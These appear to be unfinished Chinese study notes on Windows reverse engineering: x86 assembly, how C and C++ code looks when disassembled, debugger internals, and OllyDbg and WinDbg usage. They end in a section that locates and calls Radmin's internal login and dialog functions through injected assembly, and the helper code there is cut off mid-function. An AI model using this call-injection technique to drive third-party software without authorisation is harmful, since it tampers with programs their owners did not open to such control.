暂停更新,未完结
# Windows 逆向
# WinApi 速查表
# GetModuleFileName
获取当前进程已加载模块的文件的完整路径,该模块必须由当前进程加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 DWORD GetModuleFileName( HMODULE hModule, // handle to module LPTSTR lpFilename, // file name of module DWORD nSize // size of buffer); 00402016 |. 68 08020000 push 0x208 ; /BufSize = 208 (520.) 0040201B |. 33DB xor ebx,ebx ; | 0040201D |. 50 push eax ; |PathBuffer 0040201E |. 53 push ebx ; |hModule => NULL 0040201F |. FF15 8C804000 call dword ptr ds:[<&KERNEL32.GetModu>; \GetModuleFileNameA #include <windows.h> #include <stdio.h> BOOL CreateSampleService() { TCHAR szPath[MAX_PATH]; if( !GetModuleFileName( NULL, szPath, MAX_PATH ) ) { printf("GetModuleFileName failed (%d)\n", GetLastError()); return FALSE; } return TRUE; } 如果想获得某个正在运行的EXE或者DLL的全路径可以这样写代码 GetModuleFileNameEx(hProcess,hInst,lpFile,MAX_PATH);//注意下缓冲区就行了。
# C 语言
# 进制转换
1 2 3 4 十进制的定义:由十个符号组成,分别是0 1 2 3 4 5 6 7 8 9 逢十进一 九进制的定义:由九个符号组成,分别是0 1 2 3 4 5 6 7 8 逢九进一 十六进制的定义:由十六个符号组成,分别是0 1 2 3 4 5 6 7 8 9 A B C D E F N进制的定义:由N个符号组成 逢N进一
# 数据类型
在计算机中,由于硬件的制约,数据是有长度限制的,超过数据宽度的数据会被丢弃。如果没有长度限制,会产生溢出
同一个数据,表示无符号数和有符号数则其含义不同
无符号数:正数
有符号数:正数、负数
1 2 3 4 5 6 7 8 9 10 11 无符号数: 数据0123456789101112131415十六进制0123456789ABCDEF二进制0000000100100011010001010110011110001001101010111100110111101111 有符号数: 正数: 数据01234567十六进制01234567二进制00001001000110100010101100111 负数: 数据-1-2-3-4-5-6-7-8十六进制FEDCBA98二进制11111110110111001011101010011000 可以发现当数据为1011,把数据看作无符号数时,数据表示为B 把数据看作有符号数时,数据表示为-5 无符号数的表示范围为0~2^4-1即0~15\\ 有符号数的表示范围为-2^3~2^3-1即-8~7
# 常见的数据类型
BYTE 字节 8BIT
WORD 字 16BIT 2 字节
DWORD 双字 32BIT 4 字节
# 常见的运算符类型(重要)
1 2 3 4 5 6 7 8 或运算(or |) 只要有一个为1则结果为1 与运算(and &) 两个都是1结果才为1 异或运算(xor ^) 相同为0 不同为1 非运算(not !) 取反 1是0 0是1
# 堆栈
临时存放一些寄存器已无法存放的数据,比如超过内存对齐的数据类型
# hello world
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include "stdafx.h" int main (int argc, char * argv[]) { printf ("Hello World!\n" ); return 0 ; } 00401010 >|> \55 push ebp00401011 |. 8B EC mov ebp,esp00401013 |. 83 EC 40 sub esp,0x40 00401016 |. 53 push ebx00401017 |. 56 push esi00401018 |. 57 push edi00401019 |. 8 D7D C0 lea edi,[local.16 ]0040101 C |. B9 10000000 mov ecx,0x10 00401021 |. B8 CCCCCCCC mov eax,0xCCCCCCCC 00401026 |. F3:AB rep stos dword ptr es:[edi]00401028 |. 68 1 C204200 push 0042201 C ; /format = "Hello World! 0040102D |. E8 2E000000 call printf ; \printf 00401032 |. 83C4 04 add esp,0x4 00401035 |. 33C0 xor eax,eax 00401037 |. 5F pop edi 00401038 |. 5E pop esi 00401039 |. 5B pop ebx 0040103A |. 83C4 40 add esp,0x40 0040103D |. 3BEC cmp ebp,esp 0040103F |. E8 9C000000 call _chkesp 00401044 |. 8BE5 mov esp,ebp 00401046 |. 5D pop ebp 00401047 \. C3 retn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include "stdafx.h" #include "windows.h" int main (int argc, char * argv[]) { TCHAR string123[100 ] = {"Hello World!\0" }; return 0 ; } 0040 D6F0 >/> \55 push ebp0040 D6F1 |. 8B EC mov ebp,esp0040 D6F3 |. 81 EC A4000000 sub esp,0xA4 0040 D6F9 |. 53 push ebx0040 D6FA |. 56 push esi0040 D6FB |. 57 push edi0040 D6FC |. 8 DBD 5 CFFFFFF lea edi,[local.41 ]0040 D702 |. B9 29000000 mov ecx,0x29 0040 D707 |. B8 CCCCCCCC mov eax,0xCCCCCCCC 0040 D70C |. F3:AB rep stos dword ptr es:[edi]0040 D70E |. A1 1 C204200 mov eax,dword ptr ds:[0x42201C ]0040 D713 |. 8945 9 C mov [local.25 ],eax0040 D716 |. 8B 0D 20204200 mov ecx,dword ptr ds:[0x422020 ]0040 D71C |. 894 D A0 mov [local.24 ],ecx0040 D71F |. 8B 15 24204200 mov edx,dword ptr ds:[0x422024 ]0040 D725 |. 8955 A4 mov [local.23 ],edx0040 D728 |. 66 :A1 28204200 mov ax,word ptr ds:[0x422028 ]0040 D72E |. 66 :8945 A8 mov word ptr ss:[ebp-0x58 ],ax0040 D732 |. B9 15000000 mov ecx,0x15 0040 D737 |. 33 C0 xor eax,eax0040 D739 |. 8 D7D AA lea edi,dword ptr ss:[ebp-0x56 ]0040 D73C |. F3:AB rep stos dword ptr es:[edi]0040 D73E |. 66 :AB stos word ptr es:[edi]0040 D740 |. 33 C0 xor eax,eax0040 D742 |. 5F pop edi0040 D743 |. 5 E pop esi0040 D744 |. 5B pop ebx0040 D745 |. 8B E5 mov esp,ebp0040 D747 |. 5 D pop ebp0040 D748 \. C3 retn
Windows 分配栈时 是从高地址往低地址分配:
MOV EBX,0x13FFDC BASE
MOV EDX,0x13FFDC TOP
符号含义 r 寄存器 m 内存 imm 立即数 r88 位通用寄存器 m88 位内存 imm88 位立即数
# PUSH 指令
PUSH r32
PUSH r16
PUSH m16
PUSH m32
PUSH imm8/imm16/imm32
# 所有的 push 都是将 esp-4?
压入的数据的数据宽度:
当 push 的是立即数将 esp-4
当 push r32 如 push eax 时将 esp-4
当 push dword ptr ds:[12FFDA] 即压入双字内存地址中的数据时将 esp-4
当 push word ptr ds:[12FFDA] 即压入字内存地址中的数据时将 esp-2
当 push ax,即 r16 ,16 位通用寄存器时,esp-2
push 不允许压入数据宽度为 8 的数据 如 ah al 和 byte ptr ds:[内存编号]
# POP 指令
POP r32
POP r16
POP m16
POP m32
# PUSHAD 和 POPAD 指令
将所有的 32 位通用寄存器压入堆栈,方便后面随意使用寄存器,用于保护现场
与 POPAD 对应
# PUSHFD 和 POPFD 指令
然后将 32 位标志寄存器 EFLAGS 压入堆栈
与 POPAD 对应
# 其它相关指令
pusha: 将所有的 16 位通用寄存器压入堆栈
popa: 将所有的 16 位通用寄存器取出堆栈
pushf:: 将的 16 位标志寄存器 EFLAGS 压入堆栈
popf: 将 16 位标志寄存器 EFLAGS 取出堆栈
栈底和栈顶原理:
控制栈顶和栈底分别为两个固定的寄存器 (EBP 基址指针寄存器 和 ESP 堆栈指针寄存器)
刚开始堆栈为空,栈顶和栈底相同
ebp - 4 函数中的局部变量
ebp+8 函数传入参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 提升堆栈 对应语句为 00401040 /> \55 push ebp 00401041 |. 8BEC mov ebp,esp 00401043 |. 83EC 40 sub esp,0x40 将堆栈提升了0x40 保护现场 对应语句为 00401046 |. 53 push ebx 00401047 |. 56 push esi 00401048 |. 57 push edi 将ebx、esi、edi三个通用寄存器保存到堆栈中,前面的push ebp其实也属于保护现场 初始化提升的堆栈 00401049 |. 8D7D C0 lea edi,dword ptr ss:[ebp-0x40] 0040104C |. B9 10000000 mov ecx,0x10 00401051 |. B8 CCCCCCCC mov eax,0xCCCCCCCC 00401056 |. F3:AB rep stos dword ptr es:[edi] 这里将我们提升的堆栈中的内容全部初始化为CCCCCCCC 为什么是初始化为CC?防止缓冲溢出 CC的硬编码对应的指令为int 3,即断点 这么做有什么好处呢?当程序执行超过缓冲区时,遇到int 3就会自动停下来 执行实际的内容 对应语句为 00401058 |. 8B45 08 mov eax,dword ptr ss:[ebp+0x8] 0040105B |. 0345 0C add eax,dword ptr ss:[ebp+0xC] 就是将前面压入的参数2和1进行相加得到3 恢复现场 对应语句为 0040105E |. 5F pop edi ; HelloWor.00401171 0040105F |. 5E pop esi ; HelloWor.00401171 00401060 |. 5B pop ebx ; HelloWor.00401171 00401061 |. 8BE5 mov esp,ebp 00401063 |. 5D pop ebp ; HelloWor.00401171 与前面保护现场相对应 返回 对应语句为 00401064 \. C3 retn CALL返回后 对应语句为 00401171 |. 83C4 08 add esp,0x8 作用为平衡堆栈
# 标志寄存器
进位标志 CF (Carry Flag)
如果运算结果的最高位 产生了一个进位或借位,那么,其值为 1,否则其值为 0
奇偶标志 PF (Parity Flag)
执行结果
0x804: 0000 1000 0000 0100 总共 2 个 1 ,PF 应为 1,但实际运行结果 PF 为 0
因为 PF 是根据最低有效字节来看,即 804 后面 04 的这部分
04: 0000 0100 总共 1 个 1,所以 PF 为 0
辅助进位标志 AF (Auxiliary Carry Flag)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 在发生下列情况时,辅助进位标志AF的值被置为1,否则其值为0: 在字操作时,发生低字节向高字节进位或借位时 在字节操作时,发生低4位向高4位进位或借位时 AF与数据宽度相关 32位时 FFFF F FFF 16位时 FF F F 8位时 F F 加黑的字体为AF标志位判断的位置,如果该位置要向前进位则AF为1,否则为0,和CF相似,不过判断的位置不同 MOV EAX,55EEFFFF ADD EAX,2
零标志 ZF (Zero Flag)
零标志 ZF 用来反映运算结果是否为 0
如果运算结果为 0,则其值为 1,否则其值为 0
1 2 004011A6 |. 85C0 test eax,eax 004011A8 |. 75 0A jnz short 004011B4
符号标志 SF (Sign Flag)
1 2 3 符号标志SF用来反映运算结果的符号位,它与运算结果的最高位相同 MOV AL,7F ADD AL,2
溢出标志 OF (Overflow Flag)
1 2 3 4 5 6 7 8 9 10 11 12 13 溢出标志OF用于反映有符号数加减运算所得结果是否溢出 最高位进位与溢出的区别: 进位标志表示无符号数运算结果是否超出范围. 溢出标志表示有符号数运算结果是否超出范围. 溢出主要是给有符号运算使用的,在有符号的运算中,有如下的规律: 正 + 正 = 正 如果结果是负数,则说明有溢出 负 + 负 = 负 如果结果是正数,则说明有溢出 正 + 负 永远都不会有溢出
方向标志 DF (Direction Flag)
1 DF=1时串操作为减地址方式 DF=0为增地址方式
# EFLAGS
pushfd 是 push 的 EFL 中的值,比如 00000246
# 条件跳转
# JCC 指令
cc 代表 condition code (状态码)
Jcc 不是单个指令,它只是描述了跳转之前检查条件代码的跳转助记符
例如 JNE,在跳转之前检查条件代码
典型的情况是进行比较 (设置 CC),然后使用跳转助记符之一
CMP EAX,0
JNE XXXXX
条件代码也可以用 AND、OR、XOR、加法、减法 (当然也可以是 CMP) 等指令来设置
JCC 指令用于改变 EIP(CPU 要读取的指令地址)
# JMP 指令
JMP 指令:修改 EIP 的值
JMP 指令只影响了 EIP,不影响堆栈和其它通用寄存器
JMP 寄存器 / 立即数 相当于 MOV EIP, 寄存器 / 立即数
# 空函数 / 裸函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include "stdafx.h" #include "windows.h" #include "stdio.h" int __declspec (naked) Puls() { __asm{ pushad pushfd mov eax,0 mov edx,3 add eax,edx popfd popad } } int _tmain(int argc, _TCHAR* argv[]) { Puls(); return 0; } 00292240 > > \60 pushad 00292241 . 9C pushfd 00292242 . B8 00000000 mov eax,0x0 00292247 . BA 03000000 mov edx,0x3 0029224C . 03C2 add eax,edx 0029224E . 9D popfd 0029224F . 61 popad
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void function () {} int main (int argc, char * argv[]) { function (); return 0 ; } 00E92480 >/> \55 push ebp00E92481 |. 8B EC mov ebp,esp00E92483 |. 81 EC C0000000 sub esp,0xC0 00E92489 |. 53 push ebx00E9248 A |. 56 push esi00E9248 B |. 57 push edi00E9248 C |. 8 DBD 40F FFFFF lea edi,[local.48 ]00E92492 |. B9 30000000 mov ecx,0x30 00E92497 |. B8 CCCCCCCC mov eax,0xCCCCCCCC 00E9249 C |. F3:AB rep stos dword ptr es:[edi]00E9249 E |. 5F pop edi00E9249 F |. 5 E pop esi00E924 A0 |. 5B pop ebx00E924 A1 |. 8B E5 mov esp,ebp00E924 A3 |. 5 D pop ebp00E924 A4 \. C3 retn
# C 程序入口
mainCRTStartup 和 wmainCRTStartup 是控制台环境下多字节编码和 Unicode 编码的启动函数
而 WinMainCRTStartup 和 wWinMainCRTStartup 是 windows 环境下多字节编码和 Unicode 编码的启动函数
mainCRTStartup 做了哪些事:
根据 main 函数的三个参数找入口,main 的函数原型如下:
int main(int argc,char *argv[],char *envp[]){}
vs2008 debug 找 main 入口
# 全局变量和局部变量
# 全局变量
MOV 寄存器,byte/word/dword ptr ds:[0x12345678]
上面的 0x12345678 是固定的地址,每次程序启动都不变
通过寄存器的宽度,或者 byte/word/dword 来判断全局变量的宽度
全局变量就是所谓的基址
# 局部变量
局部变量在程序编译完成后并没有分配固定的地址
在所属的方法没有被调用时,局部变量并不会分配内存地址,只有当所属的程序被调用了,才会在堆栈中分配内存
当局部变量所属的方法执行完毕后,局部变量所占用的内存将变成垃圾数据。局部变量消失
局部变量只能在函数内部使用,函数 A 无法使用函数 B 的局部变量
局部变量的反汇编识别
[ebp-4]
[ebp-8]
[ebp-0xC]
# 类型转换
1 2 3 4 5 6 7 8 9 10 11 12 13 MOVSX 先符号扩展,再传送 MOV AL,0FF MOVSX CX,AL MOV AL,80 MOVSX CX,AL MOVZX 先零扩展,再传送 MOV AL,0FF MOVZX CX,AL MOV AL,80 MOVSX CX,AL
# 数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int arr[5]={1,2,3,4,5}; 0040D71D C745 E0 01000000 mov dword ptr ss:[ebp-0x20],0x1 0040D724 C745 E4 02000000 mov dword ptr ss:[ebp-0x1C],0x2 0040D72B C745 E8 03000000 mov dword ptr ss:[ebp-0x18],0x3 0040D732 C745 EC 04000000 mov dword ptr ss:[ebp-0x14],0x4 0040D739 C745 F0 05000000 mov dword ptr ss:[ebp-0x10],0x5 0040D756 8B4C85 E0 mov ecx,dword ptr ss:[ebp+eax*4-0x20] 取下标的方式,eax=1 时,取的是 0x2 int arr[3][4]={ {1,2,3,4}, {5,6,7,8}, {9,10,11,12} }; 0040D7CE C745 D0 01000000 mov dword ptr ss:[ebp-0x30],0x1 0040D7D5 C745 D4 02000000 mov dword ptr ss:[ebp-0x2C],0x2 0040D7DC C745 D8 03000000 mov dword ptr ss:[ebp-0x28],0x3 0040D7E3 C745 DC 04000000 mov dword ptr ss:[ebp-0x24],0x4 0040D7EA C745 E0 05000000 mov dword ptr ss:[ebp-0x20],0x5 0040D7F1 C745 E4 06000000 mov dword ptr ss:[ebp-0x1C],0x6 0040D7F8 C745 E8 07000000 mov dword ptr ss:[ebp-0x18],0x7 0040D7FF C745 EC 08000000 mov dword ptr ss:[ebp-0x14],0x8 0040D806 C745 F0 09000000 mov dword ptr ss:[ebp-0x10],0x9 0040D80D C745 F4 0A000000 mov dword ptr ss:[ebp-0xC],0xA 0040D814 C745 F8 0B000000 mov dword ptr ss:[ebp-0x8],0xB 0040D81B C745 FC 0C000000 mov dword ptr ss:[ebp-0x4],0xC 0040D828 C745 C8 01000000 mov dword ptr ss:[ebp-0x38],0x1 0040D82F C745 C4 02000000 mov dword ptr ss:[ebp-0x3C],0x2 0040D836 8B4D C8 mov ecx,dword ptr ss:[ebp-0x38] 0040D839 C1E1 04 shl ecx,0x4 0040D83C 8D540D D0 lea edx,dword ptr ss:[ebp+ecx-0x30]
# 结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <string.h> struct Player{ float hp; //人物血量 float mp; //人物魔力值 int money; //人物金钱 int atk; //人物攻击力 char name[10]; //人物昵称 float x; //人物x坐标 float y; //人物y坐标 }; int main(int argc, char* argv[]) { Player player; player.hp=100; player.mp=50; player.money=1000; player.atk=10; strcpy(player.name,"lyl610abc"); player.x=600; player.y=100; return 0; } 00401028 C745 DC 0000C842 mov dword ptr ss:[ebp-0x24],0x42C80000 0040102F C745 E0 00004842 mov dword ptr ss:[ebp-0x20],0x42480000 00401036 C745 E4 E8030000 mov dword ptr ss:[ebp-0x1C],0x3E8 0040103D C745 E8 0A000000 mov dword ptr ss:[ebp-0x18],0xA
# 内存对齐
1 2 3 4 5 6 7 8 9 10 11 内存对齐 内存对齐也称作字节对齐 前面或多或少都有提到过内存对齐,但没有具体展开,现在来谈谈内存对齐 为什么要内存对齐 性能原因 寻址时提高效率,采用了以空间换时间的思想 当寻址的内存的单位和本机宽度一致时,寻址的效率最高 举个例子: 在32位的机器上,一次读32位(4字节)的内存 效率最高 在64位的机器上,一次读64位(8字节)的内存 效率最高
# 指针
1 2 3 4 5 6 7 8 9 10 11 void function(){ char* a; a=(char*) 610; int** b; b=(int**) 610; } 00401028 C745 FC 62020000 mov dword ptr ss:[ebp-0x4],0x262 0040102F C745 F8 62020000 mov dword ptr ss:[ebp-0x8],0x262
# C++
# 虚表指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include "stdafx.h" #include "windows.h" #include "stdio.h" #include <iostream> using namespace std;class base_class { private : int m_base; public : virtual void v_func1 () { cout << "This is base_class's v_func1()" << endl; } virtual void v_func2 () { cout << "This is base_class's v_func2()" << endl; } virtual void v_func3 () { cout << "This is base_class's v_func3()" << endl; } }; int main (int argc, char * argv[]) { base_class bc; bc.v_func1 (); bc.v_func2 (); bc.v_func3 (); return 0 ; }
lea ecx,dword ptr ss:[ebp-0x8] 此时 ecx 保存的是 this 指针
此时 [eax] 中的值就是虚表指针的首地址,就是上图的__vfptr,其实这个地址也是一个全局变量,或者说基址
跟入 [eax],里面就是每个虚函数的指针,其实就是 [__vfptr]
# 继承
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 class employee { public : employee () { printf ("employee()!\n" );} ~employee () { printf ("~employee()!\n" );} }; class manager : public employee{ public : manager () { printf ("manager()!\n" );} ~manager () { printf ("~maneger()!\n" );} }; int _tmain(int argc, _TCHAR* argv[]){ manager my; getchar (); return 0 ; }
call 01331113 调用了 manager 类,跟入
由于 manger 类是继承的 employee 类,因此 manger 类中会调用 employee 类,即 call 013310A0
mov ecx,dword ptr ss:[ebp-8] 就是 this 指针。由于没有调用函数,此时指向的值为 CC
# this
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct MyStruct { int x ; int y ; //函数在结构体内部 int Max(MyStruct* str) { return str->x > str->y ? str->x :str->y ; } }; int main(int argc, CHAR* argv[]) { MyStruct haha ; haha.x = 1 ; haha.y = 2 ; haha.Max(&haha); printf("%d\n",haha.Max(&haha)); printf("%d\n",sizeof(haha)); return 0; }
此处 ecx 就是 this 指针
this 指针指的其实就是结构体首地址,通过 this 指针偏移可以很容易地访问结构体中的变量
# 析构和构造识别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 class MyTest { public: MyTest(); ~MyTest(); void SetTest(DWORD dwTest); DWORD GetTest(); public: DWORD m_dwTest; }; MyTest::MyTest() { printf("1111\r\n"); } MyTest::~MyTest() { printf("2222\r\n"); } void MyTest::SetTest(DWORD dwTest) { this->m_dwTest = dwTest; } DWORD MyTest::GetTest() { return this->m_dwTest; } int main(int argc, char* argv[]) { MyTest Test; Test.SetTest(1); int Number = Test.GetTest(); //添加了Set,Get方法,并调用 getchar(); return 0; }
set 关键语句处
前两句:
ecx 是调用函数时传入的 this 指针,通过 [ebp-0x8] 将 eax 和 ecx 都变成了 this 指针
后两句:
ecx 是调用 set 传入的 1,复制给 this 指针,因为这里只有一个类变量,所以是 eax,如果由多个类变量,会出现 [eax+8] 这类通过 this 指针的偏移找到类变量的方式
get 关键处:
前两句:
ecx 是调用函数时传入的 this 指针,通过 [ebp-0x8] 将 eax 和 ecx 都变成了 this 指针
mov eax,dword ptr ds:[eax]
把第一个成员变量的值给 eax 作为返回值带出,这样这个函数外面就能获取这个成员变量的值
# 调用约定
(1) 子程序的调用过程:调用者首先把参数压入堆栈,然后调用子程序,在完成后,由于堆栈中先前压入的参数不再有用,调用者或被调用者必须有一方把堆栈指针修正到调用前的状态,即堆栈平衡或平衡堆栈。
(2) 最右边的参数先入堆栈,还是最左边的参数先入堆栈。即:参数从右到左压入堆栈,还是从左到右压入堆栈。这需要约定。
(3) 有调用者修正堆栈,还是有被调用者修正堆栈。这也需要约定。
# 寻找 readmin 对话 call
1.readmin 是 mfc 写的,mfc 的可以使用 spy++ 等查到句柄
2. 通过 CreateThread 创建
1 2 3 4 5 6 7 8 9 10 HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) .text:7DD734D5 public CreateThread .text:7DD734D5 CreateThread proc near ; DATA XREF: .text:off_7DE1FA28 .text:7DD734D5 .text:7DD734D5 lpThreadAttributes= dword ptr 8 .text:7DD734D5 dwStackSize = dword ptr 0Ch .text:7DD734D5 lpStartAddress = dword ptr 10h .text:7DD734D5 lpParameter = dword ptr 14h .text:7DD734D5 dwCreationFlags = dword ptr 18h .text:7DD734D5 lpThreadId = dword ptr 1Ch
CreateThread 会调用 CreateRemoteThread
ret 0x18 是 push 参数的总大小 4 * 6 = 24 = 0x18。
4 因为内存对齐
3. 找到对话 call
对 CreateThread 下断
返回到调用处
向上回溯
4. 模拟登录 call
注意:这些值只在本次有效
1 2 3 4 5 6 7 8 9 10 11 12 pushad pushfd mov esi,0x0F076A push 0x9c49 #功能号 push 0x881064 # 结构体 add ebp,0x3458 push 0x00188B5C push 0x000F076A call 0x143f8e0 add esp,10 popfd popad
# 动态调试基础
# TLS 回调 fs:[0]
Fs:[0] 总是指向当前线程的 TIB,其中 0 偏移的指向线程的异常链表,即 ExceptionList 是指向异常处理链表(EXCEPTION_REGISTRATION 结构)的一个指针。
SEH 结构为链表,fs:[0] 指向表头
结构化异常 SEH 处理机制详细介绍 (一) - 活着的虫子 - 博客园 (cnblogs.com)
# 调试器原理
DR0~DR3 这四个寄存器是断点地址存储器,用于保存断点的地址
DR6 是调试状态寄存器用于指明 DR0~DR3 寄存器中哪一个产生了调试异常
DR6 寄存器使用比特位 B0B3 来指明 DR0 DR3 中哪个产生了调试异常
DR7 是断点属性控制器
DR7 寄存器分别保存着 DR0~DR3 的断点地址对应的断点的属性,属性有如下几种:
L0~L3: 这个比特位等于 1, 则断点为本地断点.
G0~G3: 这个比特位等于 1, 则断点为全局断点.
R/W0-R/W3:
00:执行断点
01:数据写入断点
10:I/0 读写断点
11:读写断点 () 读取指令不算)
硬件断点可以避开常见 crc 校验和一些内存冗余,线程的校验。但是只有 DR0-DR3,所以最多只能同时存在 4 个
1 2 3 4 5 6 int main(int argc, char* argv[]) { __asm{int 3}; return 0; }
程序运行到 int 3 会直接中断,但是调试器会捕捉到异常
调试器实现的依赖.
1.CPU 支持调试功能
1.1CPU 中,有标志寄存器 EFLAGS 的 IF,TF 标志位用于开启调试功能,如果一个进程是以调试状态开启,且其线程环境 (CONTEXT) 中的 EFLSGS 的 TF 标志位是 1, 那么这个进程执行一条指令后,将会产生一个异常,异常被处理后,TF 自动被重置为 0
1.2CPU 有 DRx (DebugRegister) 系列的寄存器可用于断点功能.
关闭中断层支持 CPU 执行,hook 调试端口,导致 OD 无法调试。此时需要做 VT 调试器无痕断点
hd addr # 删除 addr 处的硬件断点
hr addr # 对 addr 设置硬件断点
硬件断点在程序加壳的时候比较有用
内存镜像 ALT+M 程序映射到内存中的所有数据
# 调试器原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 1. 以调试创建一个进程或附加到一个进程CreateProcess (pszFilePath, NULL ,NULL ,NULL ,FALSE, DEBUG_ONLY_THIS_PROCESS, NULL ,NULL ,&stcStartupInfo, &stcProcInfo ); 2. 创建完进程后,需要安装个电话,等待调试子系统找上门来:typedefstruct_DEBUG_EVENT{ DWORDdwDebugEventCode; DWORDdwProcessId; DWORDdwThreadId; union { EXCEPTION_DEBUG_INFOException; CREATE_THREAD_DEBUG_INFOCreateThread; CREATE_PROCESS_DEBUG_INFOCreateProcessInfo; EXIT_THREAD_DEBUG_INFOExitThread; EXIT_PROCESS_DEBUG_INFOExitProcess; LOAD_DLL_DEBUG_INFOLoadDll; UNLOAD_DLL_DEBUG_INFOUnloadDll; OUTPUT_DEBUG_STRING_INFODebugString; RIP_INFORipInfo; }u; }DEBUG_EVENT,*LPDEBUG_EVENT; DEBUG_EVENTstcDeEvent={0 }; WaitForDebugEvent (&stcDeEvent,INFINIT );
# OD
A 区域:view 菜单功能项的快捷按钮
B+C+D+E+F: CPU 窗口 (OD 打开一个可执行文件后,会立刻加载,自动分析后并列出汇编代码,默认打开 CPU 窗口)
B 区域:反汇编面板窗口
(分为 4 列从左至右依次是 Address,Hex dump,Disassembly,Comment)
Address (地址): 显示被双击行的相对地址,再次双击返回便准地址模式;
Hex dump (十六进制机器码): 设置或取消无条件断点,对应的快捷键是 F2;
Disassembly (反汇编代码): 调用汇编器,可直接修改汇编代码,对应快捷键是空格。
Comment (注释): 允许增加或编辑注释,对应的快捷键是 ";";
从键盘上选取多行,可按 Shift 和上下光标键(PgUp/PgDn), 可以使用右键快捷菜单,可以按 Ctrl 键并按上下光标,可逐行滚动汇编窗口。(数据与代码混合时异常有用)
C 区域:信息面板窗口
在进行动态追踪时,信息面板窗口将显示与指令相关的各寄存器的值,API 函数调用提示和跳转提示等信息。
D 区域:数据面板窗口
以十六进制和字符方式显示文件在内存中的数据,要显示制定内存地址的数据,可单击右键快捷菜单中的 “Go to expression” 命令或者按 Ctrl+G 快捷键,打开地址窗口输入地址。
E 区域:寄存器面板窗口
显示 CPU 各寄存器的值,支持浮点,MMX,3DNow! 寄存器。可以右键或窗口标题切换显示寄存器的方式。
F 区域:栈面板窗口
显示栈的内容,即 ESP 指向地址的内容。将数据放入栈的称为入栈 (push),从栈中取出数据的操作称为出栈 (pop)。API 函数和子程序都利用它传递参数和变量。
# Windbg
Windbg 是 Microsoft 在 windows 平台下,强大的用户态和内核态调试工具。我们经常用它来分析 DUMP 文件,来解决线上服务器的疑难问题,比如 CPU 升高,内存溢出,响应时间慢等问题。
为当前线程设置 int3 断点,调试器捕捉到 cc 的异常,程序停下来
g 运行
ctrl+break 中断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 0:001> bp kernel32!OpenProcess 0:001> u kernel32!OpenProcess kernel32!OpenProcess: 76e11986 8bff mov edi,edi 76e11988 55 push ebp 76e11989 8bec mov ebp,esp 76e1198b 5d pop ebp 76e1198c eb05 jmp kernel32!OpenProcess+0xd (76e11993) 76e1198e 90 nop 76e1198f 90 nop 76e11990 90 nop 0:001> u 76e11993 kernel32!OpenProcess+0xd: 76e11993 ff255409e176 jmp dword ptr [kernel32+0x10954 (76e10954)] 76e11999 90 nop 76e1199a 90 nop 76e1199b 90 nop 76e1199c 90 nop 76e1199d 90 nop kernel32!WaitForMultipleObjectsEx: 76e1199e 8bff mov edi,edi 76e119a0 55 push ebp
# Intel-vt
需要勾选
# radmin 对话 call 模拟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 void helpHook::OnBnClickedButton1 () { char dwOpenIP[MAX_PATH+1 ]={0 }; CString strIP; GetDlgItem (IDC_EDIT1)->GetWindowText (strIP); if (strIP.GetLength ()!=0 ) { lstrcpyA (dwOpenIP,strIP.GetString ()); CButton* radio_1=(CButton*)GetDlgItem (IDC_RADIO1); if (radio_1->GetCheck ()) { this ->LoadIP (0x9C49 ,"\\radmin.rpb" ,dwOpenIP); } CButton* radio_2=(CButton*)GetDlgItem (IDC_RADIO2); if (radio_2->GetCheck ()) { this ->LoadIP (0x9C4B ,"\\radmin.rpb" ,dwOpenIP); } CButton* radio_3=(CButton*)GetDlgItem (IDC_RADIO3); if (radio_3->GetCheck ()) { this ->LoadIP (0x9C4C ,"\\radmin.rpb" ,dwOpenIP); } } else { this ->MessageBox ("请输入要连接的IP" ,"提示" ); return ; } char dwOpenUser[MAX_PATH+1 ]={0 }; CString strUser; GetDlgItem 